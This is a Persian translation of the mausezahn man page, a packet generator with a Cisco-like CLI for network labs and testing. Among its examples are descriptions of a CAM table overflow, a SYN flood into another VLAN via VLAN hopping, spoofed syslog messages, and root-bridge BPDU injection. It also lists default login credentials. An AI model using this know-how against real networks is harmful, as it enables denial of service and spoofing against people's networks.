MAUSEZAHN(8) netsniff-ng toolkit MAUSEZAHN(8)

mausezahn - یک مولد بسته سریع و همه‌کاره با رابط خط فرمان شبیه سیسکو (Cisco-cli)

mausezahn { [گزینه‌ها] "<رشته-آرگومان> | <رشته-هگز>" }

برنامه mausezahn یک مولد سریع ترافیک است که به شما امکان می‌دهد تقریباً هر بسته ممکن و غیرممکنی را ارسال کنید. بر خلاف trafgen(8)، پیکربندی بسته‌ها در mausezahn به جای سطح بایت در سطح پروتکل انجام می‌شود و همچنین mausezahn دارای یک رابط خط فرمان (CLI) داخلی شبیه به سیسکو است، که آن را برای استفاده به عنوان یک جعبه تولید ترافیک شبکه در آزمایشگاه شبکه شما مناسب می‌سازد.

علاوه بر آزمایشگاه‌های شبکه، می‌توان از آن به عنوان یک ابزار آموزشی و برای ممیزی‌های امنیتی از جمله آزمون نفوذ و آزمون‌های محروم‌سازی از سرویس (DoS) نیز استفاده کرد. به عنوان یک مولد ترافیک، mausezahn همچنین قادر به آزمایش شبکه‌های چندپخشی IP (IP multicast) یا شبکه‌های VoIP است. بسته به پلتفرم سخت‌افزاری، نرخ ارسال بسته‌ها نزدیک به محدودیت‌های فیزیکی قابل دستیابی است.

برنامه mausezahn از دو حالت پشتیبانی می‌کند: ''حالت مستقیم'' و یک ''حالت تعاملی'' چندریسمانی.

در ''حالت مستقیم''، شما می‌توانید یک بسته را مستقیماً در خط فرمان ایجاد کنید و در هنگام فراخوانی mausezahn، تمامی پارامترهای بسته در فهرست آرگومان‌ها مشخص می‌شوند.

همچنین ''حالت تعاملی'' یک حالت پیکربندی پیشرفته چندریسمانی با رابط خط فرمان (CLI) اختصاصی خود است که به شما امکان می‌دهد تعداد دلخواهی از انواع بسته و جریان‌های ترافیکی را به صورت موازی، هر یک با پارامترهای متفاوت، ایجاد کنید.

حالت تعاملی از یک چارچوب پروتکلی کاملاً بازطراحی‌شده و انعطاف‌پذیرتر به نام ''mops'' (سیستم بسته اختصاصی mausezahn) استفاده می‌کند. ظاهر و تجربه کاربری رابط خط فرمان آن بسیار به رابط خط فرمان Cisco IOS^tm نزدیک است.

می‌توانید حالت تعاملی را با اجرای mausezahn به همراه آرگومان ''-x'' آغاز کنید (ممکن است یک شماره پورت اختیاری به دنبال آن بیاید، در غیر این صورت پورت 25542 خواهد بود). سپس از telnet(1) برای اتصال به این نمونه از mausezahn استفاده کنید. در صورتی که به گونه دیگری مشخص نشده باشد، ترکیب نام کاربری و گذرواژه پیش‌فرض mz:mz و گذرواژه حالت ممتاز (enable) برابر با mops است. این مقادیر را می‌توان در /etc/netsniff-ng/mausezahn.conf تغییر داد.

حالت مستقیم از دو طرح مشخص‌سازی پشتیبانی می‌کند: طرح ''لایه ۲ خام'' که در آن تک‌تک بایت‌های ارسالی قابل تعیین هستند، و طرح ''لایه‌های بالاتر'' که در آن از رابط‌های بسته‌ساز (با استفاده از گزینه ''-t'') استفاده می‌شود.

برای استفاده از طرح ''لایه ۲ خام''، کافی است فریم مورد نظر را به صورت یک دنباله هگزادسیمال (''رشته هگز'') مشخص کنید، مانند:


mausezahn eth0 "00:ab:cd:ef:00 00:00:00:00:00:01 08:00 ca:fe:ba:be"

در این مثال، فاصله‌ها در رشته بایت اختیاری هستند و فیلدهای اترنت (نشانی مقصد و مبدأ، فیلد نوع، و یک بار داده کوتاه) را از هم جدا می‌کنند. تنها گزینه‌های اضافی پشتیبانی‌شده ''-a''، ''-b''، ''-c'' و ''-p'' هستند. طول فریم باید بزرگ‌تر یا مساوی ۱۵ بایت باشد.

طرح ''لایه‌های بالاتر'' با استفاده از گزینه ''-t <packet-type>'' فعال می‌شود. این گزینه بسته‌ساز را فعال می‌کند و علاوه بر ''packet-type''، می‌توان یک ''arg-string'' اختیاری را نیز مشخص کرد. ''arg-string'' شامل پارامترهای ویژه بسته مانند پرچم‌های TCP، شماره پورت‌ها و غیره است (بخش مثال‌ها را ببینید).

برنامه mausezahn یک راهنمای داخلی وابسته به زمینه ارائه می‌دهد. کلمه کلیدی ''help'' را پس از گزینه‌های پیکربندی اضافه کنید. مهم‌ترین گزینه‌ها عبارتند از:

اجرای mausezahn در حالت تعاملی با یک رابط خط فرمان شبیه به سیسکو. از telnet برای ورود به نمونه محلی mausezahn استفاده کنید. اگر پورتی مشخص نشده باشد، به طور پیش‌فرض از پورت 25542 استفاده می‌شود.

تعیین حالت IPv6 (حالت پیش‌فرض IPv4 است).

مشخص کردن نشانی IP که mausezahn در حالت تعاملی باید به آن متصل شود (bind)، پیش‌فرض: 0.0.0.0.

تنظیم اولویت بسته‌های ارسالی. این گزینه SO_PRIORITY را روی سوکتی که بسته‌ها از طریق آن ارسال می‌شوند پیکربندی می‌کند. شماره‌های معمول اولویت 0..15 هستند، اما این مقدار می‌تواند یک شناسه کلاس برای اهداف طبقه‌بندی Qdisc نیز باشد. در این حالت، شناسه کلاسی مانند 1234:5678 باید به صورت 0x12345678 مشخص شود.

حالت پرگو (verbose). حرف بزرگ -V گزارش‌های بسیار مشروح‌تری ارائه می‌دهد.

حالت شبیه‌سازی، یعنی چیزی روی سیم ارسال نشود. این حالت معمولاً با حالت پرگو ترکیب می‌شود.

حالت بی‌صدا که در آن فقط هشدارها و خطاها نمایش داده می‌شوند.

ارسال بسته به تعداد count بار (پیش‌فرض: 1، بی‌نهایت: 0).

اعمال تأخیر میان ارسال‌ها. مقدار تأخیر می‌تواند به میکروثانیه (پیش‌فرض، بدون نیاز به واحد اضافی)، یا میلی‌ثانیه (مانند 100m یا 100msec)، یا ثانیه (مانند 100s یا 100sec) مشخص شود. توجه: mops در صورت نیاز از تفکیک‌پذیری تأخیر در حد نانوثانیه نیز پشتیبانی می‌کند (حالت تعاملی را ببینید).

ضرب کردن تأخیر مشخص‌شده در یک مقدار تصادفی.

پر کردن فریم خام تا طول مشخص‌شده با بایت‌های صفر. توجه داشته باشید که برای فریم‌های لایه ۲ خام، طول مشخص‌شده کل طول فریم را تعیین می‌کند، در حالی که برای بسته‌های لایه‌های بالاتر، تعداد بایت‌های پرکننده (padding) اضافی مشخص می‌شود.

استفاده از نشانی MAC مبدأ مشخص‌شده با نماد هگزادسیمال مانند 00:00:aa:bb:cc:dd. به طور پیش‌فرض از نشانی MAC رابط استفاده خواهد شد. کلمات کلیدی ''rand'' و ''own'' به ترتیب به یک نشانی MAC تصادفی (تنها نشانی‌های تک‌پخشی ایجاد می‌شوند) و نشانی خود کارت شبکه اشاره دارند. همچنین می‌توانید از کلمات کلیدی ذکر شده در زیر استفاده کنید، هرچند نشانی‌های مبدأ از نوع پخشی (broadcast) رسماً نامعتبر هستند.

استفاده از نشانی MAC مقصد مشخص‌شده. به طور پیش‌فرض، در حالت لایه ۲ خام یک بسته پخشی (broadcast) ارسال می‌شود و در حالت عادی (IP) بسته به نشانی MAC میزبان‌های مقصد یا رابط دروازه (gateway) فرستاده می‌شود. می‌توانید از همان کلمات کلیدی ذکر شده در بالا، و همچنین ''bc'' یا ''bcast''، ''cisco''، و ''stp'' استفاده کنید.

استفاده از نشانی IP مبدأ مشخص‌شده، پیش‌فرض نشانی رابط خود سیستم است. به صورت اختیاری، کلمه کلیدی ''rand'' می‌تواند مجدداً برای یک نشانی IP مبدأ تصادفی استفاده شود یا یک محدوده مشخص گردد، مانند ''192.168.1.1-192.168.1.100'' یا ''10.1.0.0/16''. همچنین می‌توان یک نام DNS تعیین کرد که mausezahn تلاش می‌کند نشانی IP متناظر با آن را به طور خودکار شناسایی کند.

استفاده از نشانی IP مقصد مشخص‌شده (پیش‌فرض پخشی یا 255.255.255.255 است). همانند نشانی مبدأ (بالا را ببینید) می‌توانید یک محدوده یا یک نام DNS نیز تعیین کنید.

ایجاد نوع بسته مشخص‌شده با استفاده از بسته‌ساز داخلی. در حال حاضر انواع بسته پشتیبانی‌شده عبارتند از: ''arp''، ''bpdu''، ''ip''، ''udp''، ''tcp''، ''rtp''، و ''dns''. در حال حاضر پشتیبانی محدودی نیز از ''icmp'' وجود دارد. عبارت ''-t help'' را تایپ کنید تا بررسی کنید نسخه فعلی mausezahn شما از کدام بسته‌سازها پشتیبانی می‌کند. همچنین، برای هر نوع بسته خاص، برای مثال ''tcp''، دستور ''mausezahn -t tcp help'' را اجرا کنید تا راهنمای دقیق‌تر و وابسته به زمینه دریافت نمایید.

تنظیم این نمونه از mausezahn به عنوان ایستگاه گیرنده. در حال حاضر فقط ''rtp'' در اینجا یک گزینه است و اندازه‌گیری‌های دقیق جیتر را فراهم می‌کند. برای این منظور، یک نمونه دیگر از mausezahn را در ایستگاه فرستنده راه‌اندازی کنید و ایستگاه گیرنده محلی، آمار جیتر را در خروجی نمایش خواهد داد. برای راهنمای دقیق، ''mausezahn -T rtp help'' را ببینید.

مشخص کردن برچسب 802.1Q VLAN و کلاس خدمات (CoS) اختیاری. تعداد دلخواهی از برچسب‌های VLAN قابل تعیین است (به این معنی که می‌توانید QinQ یا حتی QinQinQinQ.. را شبیه‌سازی کنید). برچسب‌های چندگانه باید با ویرگول یا نقطه از هم جدا شوند (مانند "5:10,20,2:30"). برچسب‌های VLAN برای بسته‌های ARP و BPDU پشتیبانی نمی‌شوند (در این حالت می‌توانید کل فریم را به صورت هگزادسیمال با استفاده از رابط لایه ۲ خام mausezahn مشخص کنید).

مشخص کردن یک برچسب MPLS یا حتی یک پشته برچسب MPLS. به صورت اختیاری، برای هر برچسب می‌توان بیت‌های آزمایشی (معمولاً کلاس خدمات، CoS) و زمان حیات (TTL) را مشخص کرد. اگر واقعاً جسور هستید می‌توانید بیت انتهای پشته (BoS) را برای هر برچسب با استفاده از گزینه‌های ''S'' (تنظیم) و ''s'' (لغو تنظیم) تعیین کنید. به طور پیش‌فرض، BoS به صورت خودکار و صحیح تنظیم می‌شود. هر تنظیم دیگری به فریم‌های نامعتبر منجر خواهد شد. برای دستورالعمل‌ها و مثال‌های تفصیلی، عبارت ''-M help'' را وارد کنید.

مشخص کردن بار داده به صورت متن ساده. از طرف دیگر، هر نوع بسته از تعیین بار داده به صورت هگزادسیمال نیز پشتیبانی می‌کند (برای مثال ''-t udp help'' را ببینید).

خواندن بار داده ASCII از فایل مشخص‌شده.

خواندن بار داده هگزادسیمال از فایل مشخص‌شده. در واقع، این فایل نیز باید یک فایل متنی ASCII باشد، اما باید حاوی ارقام هگزادسیمال باشد، مانند "aa:bb:cc:0f:e6...". همچنین می‌توانید از فاصله‌ها به عنوان نویسه جداکننده استفاده کنید.

برای مثال‌های جامع‌تر، به دو بخش راهنما (HOWTO) در ادامه نگاهی بیندازید.

ارسال فریم‌های BPDU برای VLAN 5 همان‌طور که در نوع PVST+ مربوط به STP سیسکو استفاده می‌شود. به طور پیش‌فرض mausezahn فرض می‌کند که می‌خواهید به پل ریشه تبدیل شوید.

اجرای یک حمله سرریز جدول CAM.

اجرای یک حمله طوفان SYN به یک VLAN دیگر با استفاده از پرش VLAN. این کار فقط در صورتی عمل می‌کند که به همان VLAN متصل باشید که به عنوان native VLAN روی ترانک پیکربندی شده است. فرض می‌کنیم VLAN قربانی، VLAN 100 و native VLAN برابر با VLAN 5 است. بیایید به تمام میزبان‌های VLAN 100 که از پیشوند IP برابر با 10.100.100.0/24 استفاده می‌کنند حمله کنیم، همچنین تمام پورت‌های بین 1 و 1023 را امتحان کنیم و از یک نشانی IP مبدأ تصادفی استفاده نماییم.

ارسال بسته‌های چندپخشی IP به گروه چندپخشی 230.1.1.1 با استفاده از هدر UDP با پورت مقصد 32000 و تنظیم فیلد DSCP پروتکل IP روی EF (46). ارسال یک فریم در هر 10 میلی‌ثانیه.

ارسال بسته‌های UDP به میزبان مقصد target.anynetwork.foo با استفاده از تمامی پورت‌های مقصد ممکن و ارسال هر بسته با تمام نشانی‌های مبدأ ممکن از محدوده 172.30.0.0/16؛ علاوه بر این، استفاده از پورت مبدأ 666 و سه برچسب MPLS با مقادیر 100، 200 و 300 که برچسب بیرونی (300) دارای فیلد QoS برابر با 5 است. ارسال فریم با برچسب VLAN برابر با 420 و CoS برابر با 6؛ در نهایت پر کردن با 1000 بایت و تکرار کل این فرآیند به تعداد 10 بار.

ارسال شش پیام جعلی syslog با سطح بحرانی (severity) برابر با 3 به یک سرور سیس‌لاگ 10.1.1.9؛ استفاده از نشانی IP مبدأ جعل‌شده 192.168.33.42 و واگذاری تصمیم‌گیری در مورد رابط محلی مورد استفاده به mausezahn. استفاده از تأخیر بین بسته‌ای 10 ثانیه.

ارسال یک بسته TCP نامعتبر با بار داده تنها ۵ بایت به عنوان پخش همگانی لایه ۲ و همچنین استفاده از نشانی MAC پخشی به عنوان نشانی مبدأ. هدف باید 10.1.1.6 باشد اما از یک نشانی مبدأ پخشی استفاده شود. پورت مبدأ و مقصد باید 145 و اندازه پنجره برابر با 0 باشد. پرچم‌های TCP شامل SYN، URG و RST را به طور هم‌زمان تنظیم کرده و در کل فضای شماره دنباله TCP با گام افزایشی 1500 پیمایش کنید. در نهایت اشاره‌گر فوری (urgent pointer) را روی 666 تنظیم کنید، یعنی اشاره به ناکجاآباد.

هنگامی که mausezahn در حالت تعاملی اجرا می‌شود، در صورت در دسترس بودن فایل، به طور خودکار فایل پیکربندی واقع در /etc/netsniff-ng/mausezahn.conf را برای گزینه‌های سفارشی جستجو کرده و می‌خواند، در غیر این صورت از مقادیر پیش‌فرضی که در زمان کامپایل تنظیم شده‌اند استفاده می‌کند.

فایل پیکربندی شامل خطوطی به این صورت است:

option = value

گزینه‌های پشتیبانی‌شده در فایل پیکربندی عبارتند از:
گزینه: توضیحات:


user نام کاربری برای احراز هویت (پیش‌فرض: mz)
password گذرواژه برای احراز هویت (پیش‌فرض: mz)
enable گذرواژه برای ورود به حالت ممتاز (پیش‌فرض: mops)
port پورت شنود برای رابط خط فرمان (پیش‌فرض: 25542)
listen-addr نشانی IP برای متصل کردن CLI به آن (پیش‌فرض: 0.0.0.0)
management-only تنظیم رابط مدیریتی (هیچ ترافیک داده‌ای اجازه عبور ندارد)
cli-device رابط شبکه‌ای که CLI به آن متصل می‌شود (پیش‌فرض: all) *به طور کامل پیاده‌سازی نشده*
automops مسیر فایل automops (شامل داده‌های XML توصیف‌کننده پروتکل‌ها) *در حال توسعه*


$ cat /etc/netsniff-ng/mausezahn.conf
user = mzadmin
password = mzpasswd
enable = privilege-mode-passwd
port = 65000
listen-addr = 127.0.0.1

استفاده از حالت تعاملی نیازمند راه‌اندازی mausezahn به عنوان یک سرور است:


# mausezahn -x

اکنون می‌توانید با استفاده از شماره پورت پیش‌فرض 25542 به آن سرور telnet(1) بزنید، اما شماره پورت دلخواه نیز قابل تعیین است:


# mausezahn -x 99
mausezahn accepts incoming telnet connections on port 99.
mz: Problems opening config file. Will use defaults

یا از یک ترمینال دیگر یا از یک میزبان دیگر، تلاش کنید به سرور mausezahn تل‌نت بزنید:


caprica$ telnet galactica 99
Trying 192.168.0.4...
Connected to galactica.
Escape character is '^]'.
mausezahn <version>


Username: mz
Password: mz


mz> enable
Password: mops
mz#

توصیه می‌شود اطلاعات ورود به سیستم اختصاصی خود را در /etc/netsniff-ng/mausezahn.conf پیکربندی کنید، (بخش فایل پیکربندی را ببینید)

از آنجا که به اعلان خط فرمان mausezahn دسترسی پیدا کرده‌اید، بیایید چند دستور رایج را امتحان کنیم. می‌توانید در هر زمان از نویسه '?' برای راهنمای وابسته به زمینه استفاده کنید. توجه داشته باشید که شکل کوتاه دستورات شبیه به سیسکو در حالت تعاملی پذیرفته می‌شود. برای مثال، می‌توان به جای "show packet" از "sh pac" استفاده کرد؛ نمونه رایج دیگر استفاده از "config t" به جای "configure terminal" است. جهت خوانایی بهتر، این راهنما با دستورات کامل ادامه می‌یابد.

ابتدا دستور show را امتحان کنید:


mz# show ?

برنامه mausezahn جدول ARP اختصاصی خود را نگهداری می‌کند و ناهنجاری‌ها را زیر نظر می‌گیرد. برای هر رابط فیزیکی یک مدخل وجود دارد (هرچند این میزبان فقط یک رابط دارد):


mz# show arp
Intf Index IP address MAC address last Ch UCast BCast Info
----------------------------------------------------------------------------------
eth0 [1] D 192.168.0.1 00:09:5b:9a:15:84 23:44:41 1 1 0 0000

ستون Ch به ما می‌گوید که نشانی MAC اعلام‌شده تنها یک بار تغییر کرده است (= زمانی که یاد گرفته شد). ستون‌های Ucast و BCast به ما می‌گویند که این مدخل به ترتیب چند بار از طریق تک‌پخشی (unicast) یا پخش همگانی (broadcast) اعلام شده است.

بیایید رابط‌های شبکه خود را بررسی کنیم:


mz# show interface
Available network interfaces:
real real used (fake) used (fake)
device IPv4 address MAC address IPv4 address MAC address
---------------------------------------------------------------------------------------
> eth0 192.168.0.4 00:30:05:76:2e:8d 192.168.0.4 00:30:05:76:2e:8d
lo 127.0.0.1 00:00:00:00:00:00 127.0.0.1 00:00:00:00:00:00
2 interfaces found.
Default interface is eth0.

بیایید فهرست فعلی بسته‌ها را بررسی کنیم:


mz# show packet
Packet layer flags: E=Ethernet, S=SNAP, Q=802.1Q, M=MPLS, I/i=IP/delivery_off, U=UDP, T=TCP
PktID PktName Layers Proto Size State Device Delay Count/CntX
1 sysARP_servic... E----- ARP 60 config lo 100 msec 1/0 (100%)
1 packets defined, 0 active.

متوجه می‌شویم که در حال حاضر یک فرآیند بسته از پیش تعریف‌شده توسط سیستم وجود دارد؛ این فرآیند تنها یک بار (هنگام راه‌اندازی) توسط سرویس ARP برنامه mausezahn ایجاد و استفاده شده است. در حال حاضر وضعیت آن config است که نشان می‌دهد فرآیند در حالت خواب است.

حال بیایید فرآیند بسته اختصاصی خود را ایجاد کرده و به حالت پیکربندی سراسری وارد شویم:


mz# configure terminal
mz(config)# packet
Allocated new packet PKT0002 at slot 2
mz(config-pkt-2)# ?
...
name Assign a unique name
description Assign a packet description text
bind Select the network interface
count Configure the packet count value
delay Configure the inter-packet delay
interval Configure a greater interval
type Specify packet type
mac Configure packet's MAC addresses
tag Configure tags
payload Configure a payload
port Configure packet's port numbers
end End packet configuration mode
ethernet Configure frame's Ethernet, 802.2, 802.3, or SNAP settings
ip Configure packet's IP settings
udp Configure packet's UDP header parameters
tcp Configure packet's TCP header parameters

در اینجا گزینه‌های زیادی وجود دارد اما معمولاً فقط به تعداد کمی از آن‌ها نیاز دارید. هنگامی که بسته‌های مختلف زیادی را پیکربندی می‌کنید، ممکن است بخواهید یک نام و توضیحات مناسب برای آن‌ها اختصاص دهید:


mz(config-pkt-2)# name Test
mz(config-pkt-2)# description This is just a test

می‌توانید به عنوان مثال، با استفاده از دستورات mac و ip، تنظیمات پیش‌فرض نشانی‌های MAC یا IP مبدأ و مقصد را تغییر دهید:


mz(config-pkt-2)# ip address destination 10.1.1.0 /24
mz(config-pkt-2)# ip address source random

در مثال بالا، ما محدوده‌ای از نشانی‌ها را پیکربندی کردیم (تمام میزبان‌های موجود در شبکه 10.1.1.0 باید مورد خطاب قرار گیرند). علاوه بر این، نشانی IP مبدأ خود را جعل می‌کنیم. البته می‌توانیم یک یا چند برچسب VLAN و/یا MPLS نیز اضافه کنیم:


mz(config-pkt-2)# tag ?
dot1q Configure 802.1Q (and 802.1P) parameters
mpls Configure MPLS label stack
mz(config-pkt-2)# tag dot ?
Configure 802.1Q tags:
VLAN[:CoS] [VLAN[:CoS]] ... The leftmost tag is the outer tag in the frame
remove <tag-nr> | all Remove one or more tags (<tag-nr> starts with 1),
by default the first (=leftmost,outer) tag is removed,
keyword 'all' can be used instead of tag numbers.
cfi | nocfi [<tag-nr>] Set or unset the CFI-bit in any tag (by default
assuming the first tag).
mz(config-pkt-2)# tag dot 1:7 200:5


mz(config-pkt-2)# count 1000
mz(config-pkt-2)# delay ?
delay <value> [hour | min | sec | msec | usec | nsec]

تأخیر بین بسته‌ها را بر حسب ساعت، دقیقه، ثانیه، میلی‌ثانیه، میکروثانیه یا نانوثانیه مشخص کنید. واحد پیش‌فرض میلی‌ثانیه است (یعنی زمانی که هیچ واحدی داده نشود).


mz(config-pkt-2)# delay 1 msec
Inter-packet delay set to 0 sec and 1000000 nsec
mz(config-pkt-2)#

حالت تعاملی mausezahn از فهرست رو به رشدی از پروتکل‌ها پشتیبانی می‌کند و تنها بر معماری MOPS متکی است (و نه بر libnet مانند حالت مستقیم سنتی):


mz(config-pkt-2)# type
Specify a packet type from the following list:
arp
bpdu
igmp
ip
lldp
tcp
udp
mz(config-pkt-2)# type tcp
mz(config-pkt-2-tcp)#
....
seqnr Configure the TCP sequence number
acknr Configure the TCP acknowledgement number
hlen Configure the TCP header length
reserved Configure the TCP reserved field
flags Configure a combination of TCP flags at once
cwr Set or unset the TCP CWR flag
ece Set or unset the TCP ECE flag
urg Set or unset the TCP URG flag
ack set or unset the TCP ACK flag
psh set or unset the TCP PSH flag
rst set or unset the TCP RST flag
syn set or unset the TCP SYN flag
fin set or unset the TCP FIN flag
window Configure the TCP window size
checksum Configure the TCP checksum
urgent-pointer Configure the TCP urgent pointer
options Configure TCP options
end End TCP configuration mode
mz(config-pkt-2-tcp)# flags syn fin rst
Current setting is: --------------------RST-SYN-FIN
mz(config-pkt-2-tcp)# end
mz(config-pkt-2)# payload ascii This is a dummy payload for my first packet
mz(config-pkt-2)# end

اکنون بسته دیگری را پیکربندی کنید، برای مثال فرض کنیم می‌خواهیم یک فرآیند LLDP داشته باشیم:


mz(config)# packet
Allocated new packet PKT0003 at slot 3
mz(config-pkt-3)# type lldp
mz(config-pkt-3-lldp)# exit
mz(config)# exit

در مثال فوق، ما فقط از تنظیمات پیش‌فرض LLDP استفاده می‌کنیم و گزینه‌ها یا TLVهای بیشتری از LLDP را پیکربندی نمی‌کنیم. با بازگشت به بالاترین سطح CLI، بیایید آنچه انجام داده‌ایم را بررسی کنیم:


mz# show packet
Packet layer flags: E=Ethernet, S=SNAP, Q=802.1Q, M=MPLS, I/i=IP/delivery_off, U=UDP, T=TCP
PktID PktName Layers Proto Size State Device Delay Count/CntX
1 sysARP_servic... E----- ARP 60 config lo 100 msec 1/0 (100%)
2 Test E-Q-IT 125 config eth0 1000 usec 1000/1000 (0%)
3 PKT0003 E----- LLDP 36 config eth0 30 sec 0/0 (0%)
3 packets defined, 0 active.

ستون Layers مشخص می‌کند که کدام پروتکل‌های اصلی با یکدیگر ترکیب شده‌اند. برای مثال، بسته با شناسه 2 ("Test") از اترنت (E)، آی‌پی (I) و تی‌سی‌پی (T) استفاده می‌کند. علاوه بر این، یک برچسب 802.1Q (Q) درج شده است. اکنون یکی از این فرآیندهای بسته را آغاز کنید:


mz# start slot 3
Activate [3]
mz# show packet
Packet layer flags: E=Ethernet, S=SNAP, Q=802.1Q, M=MPLS, I/i=IP/delivery_off, U=UDP, T=TCP
PktID PktName Layers Proto Size State Device Delay Count/CntX
1 sysARP_servic... E----- ARP 60 config lo 100 msec 1/0 (100%)
2 Test E-Q-IT 125 config eth0 1000 usec 1000/1000 (0%)
3 PKT0003 E----- LLDP 36 config eth0 30 sec 0/1 (0%)
3 packets defined, 1 active.

بیایید نگاه دقیق‌تری به یک فرآیند بسته خاص داشته باشیم:


mz# show packet 2
Packet [2] Test
Description: This is just a test
State: config, Count=1000, delay=1000 usec (0 s 1000000 nsec), interval= (undefined)
Headers:
Ethernet: 00-30-05-76-2e-8d => ff-ff-ff-ff-ff-ff [0800 after 802.1Q tag]
Auto-delivery is ON (that is, the actual MAC is adapted upon transmission)
802.1Q: 0 tag(s); (VLAN:CoS)
IP: SA=192.168.0.4 (not random) (no range)
DA=255.255.255.255 (no range)
ToS=0x00 proto=17 TTL=255 ID=0 offset=0 flags: -|-|-
len=49664(correct) checksum=0x2e8d(correct)
TCP: 83 bytes segment size (including TCP header)
SP=0 (norange) (not random), DP=0 (norange) (not random)
SQNR=3405691582 (start 0, stop 4294967295, delta 0) -- ACKNR=0 (invalid)
Flags: ------------------------SYN----, reserved field is 00, urgent pointer= 0
Announced window size= 100
Offset= 0 (times 32 bit; value is valid), checksum= ffff (valid)
(No TCP options attached) - 0 bytes defined
Payload size: 43 bytes
Frame size: 125 bytes
1 ff:ff:ff:ff:ff:ff:00:30 05:76:2e:8d:81:00:e0:01 81:00:a0:c8:08:00:45:00 00:67:00:00:00:00:ff:06
33 fa:e4:c0:a8:00:04:ff:ff ff:ff:00:00:00:00:ca:fe ba:be:00:00:00:00:a0:07 00:64:f7:ab:00:00:02:04
65 05:ac:04:02:08:0a:19:35 90:c3:00:00:00:00:01:03 03:05:54:68:69:73:20:69 73:20:61:20:64:75:6d:6d
97 79:20:70:61:79:6c:6f:61 64:20:66:6f:72:20:6d:79 20:66:69:72:73:74:20:70 61:63:6b:65:74
mz#

اگر می‌خواهید یک یا چند فرآیند بسته را متوقف کنید، از دستور stop استفاده کنید. "توقف اضطراری" زمانی است که از stop all استفاده می‌کنید:


mz# stop all
Stopping
[3] PKT0003
Stopped 1 transmission processe(s)

دستور launch یک میانبر برای فرآیندهای بسته پرکاربرد فراهم می‌کند. برای مثال، برای رفتار مانند یک پل با قابلیت STP می‌خواهیم یک فرآیند BPDU را با پارامترهای معمولی آغاز کنیم:


mz# launch bpdu
Allocated new packet sysBPDU at slot 5
mz# show packet
Packet layer flags: E=Ethernet, S=SNAP, Q=802.1Q, M=MPLS, I/i=IP/delivery_off, U=UDP, T=TCP
PktID PktName Layers Proto Size State Device Delay Count/CntX
1 sysARP_servic... E----- ARP 60 config lo 100 msec 1/0 (100%)
2 Test E-Q-IT 125 config eth0 1000 usec 1000/1000 (0%)
3 PKT0003 E----- LLDP 36 config eth0 30 sec 0/12 (0%)
4 PKT0004 E---I- IGMP 46 config eth0 100 msec 0/0 (0%)
5 sysBPDU ES---- BPDU 29 active eth0 2 sec 0/1 (0%)
5 packets defined, 1 active.

اکنون در هر ۲ ثانیه یک Configuration BPDU ارسال می‌شود که ادعا می‌کند پل ریشه است (و معمولاً شبکه محلی را گیج می‌کند). توجه داشته باشید که فقط بسته ۵ (یعنی آخرین سطر) فعال است و بنابراین بسته‌ها را ارسال می‌کند در حالی که تمام بسته‌های دیگر در وضعیت config هستند (یعنی پیکربندی شده‌اند اما در حال حاضر کاری انجام نمی‌دهند).

گاهی اوقات ممکن است بخواهید رگباری از بسته‌ها را در بازه‌های زمانی بزرگ‌تر ارسال کنید:


mz(config)# packet 2
Modify packet parameters for packet Test [2]
mz(config-pkt-2)# interval
Configure a greater packet interval in days, hours, minutes, or seconds
Arguments: <value> <days | hours | minutes | seconds>
Use a zero value to disable an interval.
mz(config-pkt-2)# interval 1 hour
mz(config-pkt-2)# count 10
mz(config-pkt-2)# delay 15 usec
Inter-packet delay set to 0 sec and 15000 nsec

اکنون این بسته ده بار با تأخیر بین بسته‌ای ۱۵ میکروثانیه ارسال می‌شود و این فرآیند در هر ساعت تکرار می‌گردد. هنگامی که به فهرست بسته‌ها نگاه می‌کنید، یک بازه زمانی با پرچم اضافی 'i' در صورت غیرفعال بودن یا 'I' در صورت فعال بودن نشان داده می‌شود:


mz# show packet
Packet layer flags: E=Ethernet, S=SNAP, Q=802.1Q, M=MPLS, I/i=IP/delivery_off, U=UDP, T=TCP
PktID PktName Layers Proto Size State Device Delay Count/CntX
1 sysARP_servic... E----- ARP 60 config lo 100 msec 1/0 (100%)
2 Test E-Q-IT 125 config-i eth0 15 usec 10/10 (0%)
3 PKT0003 E----- LLDP 36 config eth0 30 sec 0/12 (0%)
4 PKT0004 E---I- IGMP 46 config eth0 100 msec 0/0 (0%)
5 sysBPDU ES---- BPDU 29 active eth0 2 sec 0/251 (0%)
5 packets defined, 1 active.
mz# start slot 2
Activate [2]
mz# show packet
Packet layer flags: E=Ethernet, S=SNAP, Q=802.1Q, M=MPLS, I/i=IP/delivery_off, U=UDP, T=TCP
PktID PktName Layers Proto Size State Device Delay Count/CntX
1 sysARP_servic... E----- ARP 60 config lo 100 msec 1/0 (100%)
2 Test E-Q-IT 125 config+I eth0 15 usec 10/0 (100%)
3 PKT0003 E----- LLDP 36 config eth0 30 sec 0/12 (0%)
4 PKT0004 E---I- IGMP 46 config eth0 100 msec 0/0 (0%)
5 sysBPDU ES---- BPDU 29 active eth0 2 sec 0/256 (0%)
5 packets defined, 1 active.

توجه داشته باشید که پرچم 'I' نشان می‌دهد که یک بازه زمانی برای بسته ۲ مشخص شده است. این فرآیند در حال حاضر فعال نیست (در اینجا فقط بسته ۵ فعال است) اما در یک بازه زمانی منظم فعال خواهد شد. می‌توانید با مشاهده جزئیات بسته از طریق دستور 'show packet 2'، بازه زمانی واقعی را بررسی کنید.

شما می‌توانید پیکربندی‌های بسته را با استفاده از همان دستوراتی که در CLI تایپ می‌کنید آماده کرده و سپس آن‌ها را در CLI بارگذاری کنید. برای مثال، فرض کنید یک فایل 'test.mops' حاوی موارد زیر آماده کرده‌ایم:


configure terminal
packet
name IGMP_TEST
desc This is only a demonstration how to load a file to mops
type igmp

سپس می‌توانیم این پیکربندی بسته را با استفاده از دستور load به فهرست بسته‌های خود اضافه کنیم:


mz# load test.mops
Read commands from test.mops...
Allocated new packet PKT0002 at slot 2
mz# show packet
Packet layer flags: E=Ethernet, S=SNAP, Q=802.1Q, M=MPLS, I/i=IP/delivery_off, U=UDP, T=TCP
PktID PktName Layers Proto Size State Device Delay Count/CntX
1 sysARP_servic... E----- ARP 60 config lo 100 msec 1/0 (100%)
2 IGMP_TEST E---I- IGMP 46 config eth0 100 msec 0/0 (0%)
2 packets defined, 0 active.

فایل src/examples/mausezahn/example_lldp.conf شامل فهرست دیگری از دستورات نمونه برای ایجاد یک بسته LLDP ساختگی است. می‌توانید این پیکربندی را از خط فرمان mausezahn به شرح زیر بارگذاری کنید:


mz# load /home/hh/tmp/example_lldp.conf

